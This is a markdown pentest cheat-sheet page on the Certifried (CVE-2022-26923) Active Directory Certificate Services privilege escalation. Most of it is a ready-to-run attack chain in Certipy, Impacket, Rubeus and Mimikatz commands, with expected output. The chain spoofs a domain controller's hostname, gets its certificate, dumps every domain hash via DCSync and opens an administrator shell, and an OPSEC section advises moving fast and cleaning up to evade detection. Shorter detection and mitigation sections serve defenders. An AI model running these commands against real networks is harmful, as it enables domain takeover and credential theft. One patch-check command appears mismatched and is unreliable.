certificate-persistence-certifried-cve-2022-26923.md (16219B)
1 --- 2 title: "Certificate Persistence — Certifried (CVE-2022-26923)" 3 description: "Certifried is a privilege escalation vulnerability discovered by Oliver Lyak (the same researcher who wrote Certipy) and disclosed in May 2022. It carries…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs", "credential-access", "privilege-escalation", "persistence"] 7 tools: ["NetExec", "Impacket", "Mimikatz", "Rubeus", "Certipy"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/Certificate Persistence — Certifried (CVE-2022-26923).md" 11 --- 12 # Certificate Persistence — Certifried (CVE-2022-26923) 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | Privilege Escalation (Default Config CVE) | 19 | **Difficulty** | Medium | 20 | **Pre-requisites** | Low-priv domain creds + `MachineAccountQuota > 0` + unpatched (pre-KB5014754) | 21 | **Tools** | Certipy, Impacket (addcomputer, secretsdump) | 22 | **OPSEC Noise** | Medium — computer account creation + dNSHostName change | 23 | **CVE** | CVE-2022-26923 (CVSS 8.8) | 24 | **One-liner** | Create computer account → spoof dNSHostName to DC hostname → request Machine cert → authenticate as DC → DCSync. | 25 26 *** 27 28 ## What Is Certifried? 29 30 Certifried is a **privilege escalation vulnerability** discovered by **Oliver Lyak** (the same researcher who wrote Certipy) and disclosed in May 2022. It carries a **CVSS score of 8.8** and requires only low-privileged domain credentials to exploit. Unlike all previous ESC attacks which abused *misconfigurations*, Certifried is a **default-configuration vulnerability** — meaning a freshly deployed Active Directory environment with AD CS installed is vulnerable out of the box with no misconfigurations required. 31 32 The root cause is deceptively elegant. When a domain user creates a computer account, AD grants them `Validated Write to dNSHostName` and `Validated Write to servicePrincipalName` permissions on that account. The CA uses the `dNSHostName` attribute to identify machine certificates. By setting a **newly created computer account's `dNSHostName` to match a Domain Controller's hostname**, a low-privileged user can request a certificate that the CA believes belongs to the DC — then authenticate as the DC machine account and DCSync the entire domain. 33 34 *** 35 36 ## The Core Logic 37 38 ``` 39 Normal cert request flow: 40 User creates computer → dNSHostName = "MYPC.domain.htb" 41 Requests Machine cert → CA reads dNSHostName 42 CA issues cert → "MYPC.domain.htb" 43 Authenticates as → MYPC$ 44 45 Certifried abuse flow: 46 User creates computer → dNSHostName = "DC01.domain.htb" ← SPOOFED 47 Requests Machine cert → CA reads dNSHostName 48 CA issues cert → "DC01.domain.htb" ← DC's identity 49 Authenticates as → DC01$ ← DOMAIN CONTROLLER 50 ``` 51 52 The CA has no mechanism to verify that the requester **should** be allowed to claim the DC's hostname — it simply trusts whatever `dNSHostName` says. 53 54 *** 55 56 ## Required Conditions 57 58 | Condition | Notes | 59 |-----------|-------| 60 | AD CS is installed in the domain | Default state when CS role is deployed | 61 | `MachineAccountQuota > 0` (default = 10) | Allows any domain user to create computer accounts | 62 | `Machine` or `Computer` template enrollable by domain users | Default on most AD CS deployments | 63 | **System is unpatched** (pre-May 2022) | KB5014754 patches this — check for it | 64 65 > 💡 Check `MachineAccountQuota` with: 66 > ```bash 67 > netexec ldap $TARGET -u 'lowpriv' -p 'Password123!' -M maq 68 > # or 69 > crackmapexec ldap $TARGET -u 'lowpriv' -p 'Password123!' --get-desc-users 70 > ``` 71 > ```powershell 72 > Get-ADDomain | Select-Object -ExpandProperty MachineAccountQuota 73 > ``` 74 75 *** 76 77 ## Checking if Patched 78 79 Before attempting, confirm whether the target is patched: 80 81 ```bash 82 # Check for KB5014754 patch via CrackMapExec 83 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' -M ms17-010 84 85 # Verify via LDAP — check StrongCertificateBindingEnforcement 86 netexec ldap $TARGET -u 'lowpriv' -p 'Password123!' \ 87 -x 'reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement' 88 89 # Values: 90 # 0 = Not enforced → Certifried works 91 # 1 = Audit mode → Certifried likely works 92 # 2 = Full enforcement → Certifried blocked 93 ``` 94 95 *** 96 97 ## Step 0 — Enumeration 98 99 ```bash 100 # Standard certipy scan — look for Machine template available 101 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ 102 -dc-ip $TARGET -stdout 103 104 # Specifically look for this in template output: 105 # Template Name: Machine 106 # Client Authentication: True 107 # Enrollment Rights: DOMAIN\Domain Computers (or Authenticated Users) 108 ``` 109 110 *** 111 112 ## Full Attack Chain — Linux (Certipy + Impacket) 113 114 ### Step 1 — Create a New Computer Account 115 116 ```bash 117 # Using Impacket addcomputer — requires MachineAccountQuota > 0 118 impacket-addcomputer \ 119 'domain.htb/lowpriv:Password123!' \ 120 -dc-ip $TARGET \ 121 -computer-name 'EVILPC$' \ 122 -computer-pass 'EvilPass123!' 123 124 # Verify it was created 125 netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \ 126 --computers 127 ``` 128 129 **Expected output:** 130 ``` 131 [*] Successfully added machine account 'EVILPC$' with password 'EvilPass123!'. 132 ``` 133 134 *** 135 136 ### Step 2 — Clear the SPN on the New Computer Account 137 138 This is a **critical prerequisite**. By default, creating a computer account also sets `servicePrincipalName` values that include its own hostname. If you try to change `dNSHostName` to the DC's hostname without first clearing the SPNs, AD's SPN uniqueness check will block the attribute change (because the DC already has those SPNs registered): 139 140 ```bash 141 # Clear the SPNs on the fake computer account 142 impacket-addcomputer \ 143 'domain.htb/lowpriv:Password123!' \ 144 -dc-ip $TARGET \ 145 -computer-name 'EVILPC$' \ 146 -computer-pass 'EvilPass123!' \ 147 -spn-clear 148 149 # Or via Certipy directly 150 certipy-ad account \ 151 -u 'lowpriv@domain.htb' \ 152 -p 'Password123!' \ 153 -dc-ip $TARGET \ 154 -user 'EVILPC$' \ 155 -spn-clear update 156 ``` 157 158 *** 159 160 ### Step 3 — Set dNSHostName to the DC's Hostname 161 162 ```bash 163 # Change dNSHostName of EVILPC$ to match the Domain Controller 164 certipy-ad account \ 165 -u 'lowpriv@domain.htb' \ 166 -p 'Password123!' \ 167 -dc-ip $TARGET \ 168 -user 'EVILPC$' \ 169 -dns 'DC01.domain.htb' \ 170 update 171 172 # Verify the change 173 certipy-ad account \ 174 -u 'lowpriv@domain.htb' \ 175 -p 'Password123!' \ 176 -dc-ip $TARGET \ 177 -user 'EVILPC$' \ 178 lookup 179 ``` 180 181 **Expected output:** 182 ``` 183 [*] Updating computer account 'EVILPC$' 184 [*] Successfully updated computer account 'EVILPC$' with attribute dNSHostName = DC01.domain.htb 185 ``` 186 187 > ⚠️ If you get `Constraint Violation` here, the SPN was not cleared properly — go back to Step 2. AD enforces SPN uniqueness which prevents two accounts sharing the same DNS hostname if their SPNs overlap. 188 189 *** 190 191 ### Step 4 — Request a Machine Certificate 192 193 Now request a certificate using the **Machine** template, authenticating as your fake computer account `EVILPC$`. The CA reads `dNSHostName = DC01.domain.htb` and issues a cert for the DC: 194 195 ```bash 196 certipy-ad req \ 197 -u 'EVILPC$@domain.htb' \ 198 -p 'EvilPass123!' \ 199 -dc-ip $TARGET \ 200 -ca 'DOMAIN-CA-NAME' \ 201 -template 'Machine' 202 203 # Output: dc01.pfx (named after the DNS hostname it was issued for) 204 ``` 205 206 **Expected output:** 207 ``` 208 [*] Requesting certificate via RPC 209 [*] Successfully requested certificate 210 [*] Request ID is 9 211 [*] Got certificate with DNS hostname 'DC01.domain.htb' 212 [*] Saving certificate and private key to 'dc01.pfx' 213 ``` 214 215 > 💡 The cert is saved as `dc01.pfx` — named from the DNS hostname embedded in it. This is your DC impersonation certificate. 216 217 *** 218 219 ### Step 5 — Authenticate as the DC Machine Account 220 221 ```bash 222 certipy-ad auth \ 223 -pfx dc01.pfx \ 224 -username 'DC01$' \ 225 -domain domain.htb \ 226 -dc-ip $TARGET 227 ``` 228 229 **Expected output:** 230 ``` 231 [*] Using principal: 'DC01$@domain.htb' 232 [*] Trying to get TGT... 233 [*] Got TGT 234 [*] Saving credential cache to 'DC01$.ccache' 235 [*] Got hash for 'DC01$@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH 236 ``` 237 238 *** 239 240 ### Step 6 — DCSync (Full Domain Compromise) 241 242 ```bash 243 # Using TGT 244 export KRB5CCNAME='DC01$.ccache' 245 secretsdump.py -k -no-pass DC01.domain.htb 246 247 # Using NT hash 248 secretsdump.py \ 249 -hashes :NTHASH \ 250 'domain.htb/DC01$'@DC01.domain.htb 251 252 # Output: 253 # Administrator:500:aad3b435...:ADMIN_NTHASH 254 # krbtgt:502:aad3b435...:KRBTGT_HASH 255 # All domain hashes... 256 ``` 257 258 *** 259 260 ### Step 7 — Shell as Administrator 261 262 ```bash 263 # Pass-the-Hash with Administrator hash from DCSync 264 evil-winrm -i $TARGET -u administrator -H <ADMIN_NTHASH> 265 wmiexec.py administrator@$TARGET -hashes :ADMIN_NTHASH 266 psexec.py administrator@$TARGET -hashes :ADMIN_NTHASH 267 ``` 268 269 *** 270 271 ### Optional Step — Clean Up the Fake Computer Account 272 273 ```bash 274 # Remove the fake computer account after exploitation 275 impacket-addcomputer \ 276 'domain.htb/lowpriv:Password123!' \ 277 -dc-ip $TARGET \ 278 -computer-name 'EVILPC$' \ 279 -computer-pass 'EvilPass123!' \ 280 -delete 281 ``` 282 283 *** 284 285 ## Full Attack Chain — Windows (PowerShell + Certify.exe + Rubeus) 286 287 ```powershell 288 # ── Step 1: Create fake computer account ───────────────────────────────────── 289 Import-Module ActiveDirectory 290 New-ADComputer -Name "EVILPC" -AccountPassword (ConvertTo-SecureString "EvilPass123!" -AsPlainText -Force) 291 292 # ── Step 2: Clear SPNs ──────────────────────────────────────────────────────── 293 Set-ADComputer -Identity "EVILPC" -ServicePrincipalNames @{} 294 295 # ── Step 3: Set dNSHostName to DC's hostname ────────────────────────────────── 296 Set-ADComputer -Identity "EVILPC" -DNSHostName "DC01.domain.local" 297 298 # ── Step 4: Request Machine certificate ────────────────────────────────────── 299 # Run as EVILPC$ account context 300 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:Machine 301 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out dc01.pfx 302 303 # ── Step 5: Get TGT as DC01$ ───────────────────────────────────────────────── 304 .\Rubeus.exe asktgt /user:DC01$ /certificate:dc01.pfx /getcredentials /nowrap 305 306 # ── Step 6: Inject TGT and DCSync ──────────────────────────────────────────── 307 .\Rubeus.exe createnetonly /program:powershell.exe /show 308 .\Rubeus.exe ptt /ticket:<base64ticket> 309 Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all /csv"' 310 ``` 311 312 *** 313 314 ## Certifried Visual Attack Flow 315 316 ``` 317 [lowpriv@domain.htb] (MachineAccountQuota > 0) 318 │ 319 │ addcomputer → EVILPC$ 320 ▼ 321 [EVILPC$ created] 322 │ 323 │ Clear SPNs on EVILPC$ 324 │ Set dNSHostName = DC01.domain.htb 325 ▼ 326 [EVILPC$.dNSHostName = DC01.domain.htb] ← CA reads this 327 │ 328 │ certipy req -template Machine -u EVILPC$ 329 ▼ 330 [dc01.pfx issued] ← Contains DC01.domain.htb identity 331 │ 332 │ certipy auth -pfx dc01.pfx -username DC01$ 333 ▼ 334 [TGT + NT hash for DC01$] 335 │ 336 │ secretsdump DCSync 337 ▼ 338 [ALL domain hashes — full compromise] 339 ``` 340 341 *** 342 343 ## Why This Works — The Patch Explanation 344 345 Before KB5014754, the KDC performed certificate-based authentication by **matching the UPN or DNS name in the certificate to an AD object** without enforcing that the requester had rights to claim that identity. Post-patch, the KDC enforces **strong certificate binding** — it looks for an `objectSid` extension in the certificate and validates it matches the AD object being authenticated as. Since `EVILPC$` has a different `objectSid` than `DC01$`, the forged identity is rejected. 346 347 | Pre-Patch | Post-Patch | 348 |-----------|-----------| 349 | KDC matches cert `dNSHostName` → finds DC01$ in AD → issues TGT | KDC checks cert `objectSid` extension → `EVILPC$` SID ≠ `DC01$` SID → rejects | 350 | No SID validation | **objectSid extension in cert is mandatory** | 351 | Certifried works | Certifried blocked | 352 353 *** 354 355 ## Certifried vs ESC Attacks — Where It Fits 356 357 | | ESC1–7 | ESC8/ESC11 | **Certifried** | 358 |---|---|---|---| 359 | **Requires misconfiguration** | ✅ | ✅ | ❌ **Default config is vulnerable** | 360 | **CVSS Score** | Varies | High | **8.8** | 361 | **Discovery** | SpecterOps (Will Schroeder) | SpecterOps | **Oliver Lyak (Certipy author)** | 362 | **Requires domain creds** | ✅ | ⚠️ Sometimes not | ✅ | 363 | **Requires MachineAccountQuota > 0** | ❌ | ❌ | ✅ | 364 | **Creates fake computer account** | ❌ | ❌ | ✅ | 365 | **Patched** | Some | Some | ✅ May 2022 KB5014754 | 366 | **Post-patch bypass** | Varies | ESC16 | Check `StrongCertificateBindingEnforcement` value | 367 368 *** 369 370 ## Detection Indicators 371 372 - **Event ID 4741** — A computer account was created — alert on any `New-ADComputer` from non-admin accounts 373 - **Event ID 4742** — A computer account was changed — specifically watch for `dNSHostName` attribute changes on recently created computer accounts 374 - **Event ID 4768** — Kerberos TGT requested for a machine account (`DC01$`) from an IP that is not the DC's actual IP address 375 - **LDAP monitoring** — Alert on `dNSHostName` modifications that result in a value matching an existing DC hostname 376 - **Event ID 4887** — Certificate issued for `DC01.domain.htb` hostname where the requester account is NOT `DC01$` 377 378 *** 379 380 ## Mitigation 381 382 - **Apply KB5014754** — The single most direct fix; enforces strong certificate binding in the KDC 383 - **Set `StrongCertificateBindingEnforcement = 2`** in the KDC registry key to move from audit mode to full enforcement after ensuring all certificates have been re-issued with the `objectSid` extension 384 - **Set `MachineAccountQuota = 0`** — Prevents domain users from creating computer accounts; this breaks the attack at Step 1: 385 ```powershell 386 Set-ADDomain -Identity domain.htb -Replace @{"ms-DS-MachineAccountQuota"="0"} 387 ``` 388 - **Monitor `dNSHostName` write events** — Set up SACL auditing on all computer objects for `dNSHostName` attribute modifications 389 - **Restrict who can add computers** — Delegate computer creation rights only to specific OU-level accounts, not to all authenticated users 390 391 *** 392 393 ## OPSEC Considerations 394 395 | Action | Event Generated | Noise Level | 396 |--------|----------------|-------------| 397 | Computer account creation | Event ID 4741 | 🟡 Medium | 398 | SPN clear on computer account | Event ID 4742 | 🟢 Low | 399 | dNSHostName change to DC hostname | Event ID 4742 | 🟡 Medium | 400 | Certificate request (Machine template) | Event ID 4887 on CA | 🟢 Low | 401 | PKINIT authentication as DC$ | Event ID 4768 (from non-DC IP) | 🔴 High | 402 | DCSync | Event ID 4662 (replication) | 🔴 High | 403 | Computer account deletion (cleanup) | Event ID 4743 | 🟡 Medium | 404 405 > ⚠️ The most detectable step is the **PKINIT authentication as DC$** from a non-DC IP address. The dNSHostName change to a DC hostname is also highly anomalous. Execute steps 3–5 rapidly and clean up the fake computer account immediately. 406 407 *** 408 409 ## References 410 411 - [Certifried: Active Directory Domain Privilege Escalation — Oliver Lyak](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4) 412 - [Certifried — The Hacker Recipes](https://www.thehacker.recipes/ad/movement/adcs/certifried) 413 - [CVE-2022-26923 Mitigation — SentinelOne](https://www.sentinelone.com/blog/dollar-signs-in-attackers-eyes-how-to-mitigate-cve-2022-26923/) 414 - [CVE-2022-26923 Detection — SOC Prime](https://socprime.com/blog/cve-2022-26923-detection-active-directory-domain-privilege-escalation-vulnerability/) 415 - [CVE-2022-26923 Explained — Hack The Box](https://www.hackthebox.com/blog/cve-2022-26923-certifried-explained) 416 - [CVE-2022-26923 Detail — NVD](https://nvd.nist.gov/vuln/detail/cve-2022-26923)